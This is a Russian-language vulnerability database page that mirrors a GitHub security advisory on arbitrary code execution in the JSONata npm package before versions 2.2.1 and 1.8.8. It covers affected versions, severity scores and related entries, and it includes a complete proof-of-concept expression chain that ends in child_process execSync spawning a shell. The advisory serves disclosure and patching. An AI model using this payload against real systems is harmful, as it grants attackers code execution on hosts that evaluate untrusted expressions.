Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-66mm-25pp-rfff

Опубликовано: 21 авг. 2026
Источник: github
Github: Прошло ревью
CVSS4: 9.3

Описание

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to:

  • overwriting $clone allowing mutation of objects via transforms (see evaluateTransformExpression)
  • it being possible to destruct jsonata functions/lambdas (e.g. $merge.*)
  • applyProcedure using proc.arguments.forEach and not Array.prototype.forEach

Which could be chained to execute arbitrary code.

This was fixed with:

Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata"; const expression = jsonata(` ( $obj := {}; $clone := function($o) { $o }; $m := ($merge.*)[1]; $fn := function($a) { ( $a({"value":"lg"},"__lookupGetter__"); $a({"value":"x"},"x"); ) }; $nop := function() { $ }; $capture := function($val) { $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} | }; $ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|; $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|; $ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|; $func := $m([$,{"_jsonata_lambda":true}]); $func(); $gP := $obj.lg("__proto__"); $afn:=$spread($fn); $afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()}; ) `); await expression.evaluate({});

References

Пакеты

Наименование

jsonata

npm
Затронутые версииВерсия исправления

>= 2.0.0, < 2.2.1

2.2.1

Наименование

jsonata

npm
Затронутые версииВерсия исправления

< 1.8.8

1.8.8

EPSS

Процентиль: 49%
0.00645
Низкий

9.3 Critical

CVSS4

Дефекты

CWE-94

Связанные уязвимости

nvd
около 1 месяца назад

JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, crafted JSONata expressions could chain several object-integrity weaknesses to execute arbitrary code. The chain could overwrite $clone to mutate objects through evaluateTransformExpression, expose and deconstruct JSONata functions or lambdas through $merge.*, replace proc.arguments.forEach used by applyProcedure, and forge internal lambda state. These primitives allowed an attacker to reach prototype getters, prototype and constructor access, and process.getBuiltinModule with child_process, executing code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.

CVSS3: 9.8
fstec
2 месяца назад

Уязвимость модуля child_process программного средства преобразования json-данных JSONata, позволяющая нарушителю выполнить произвольный код

EPSS

Процентиль: 49%
0.00645
Низкий

9.3 Critical

CVSS4

Дефекты

CWE-94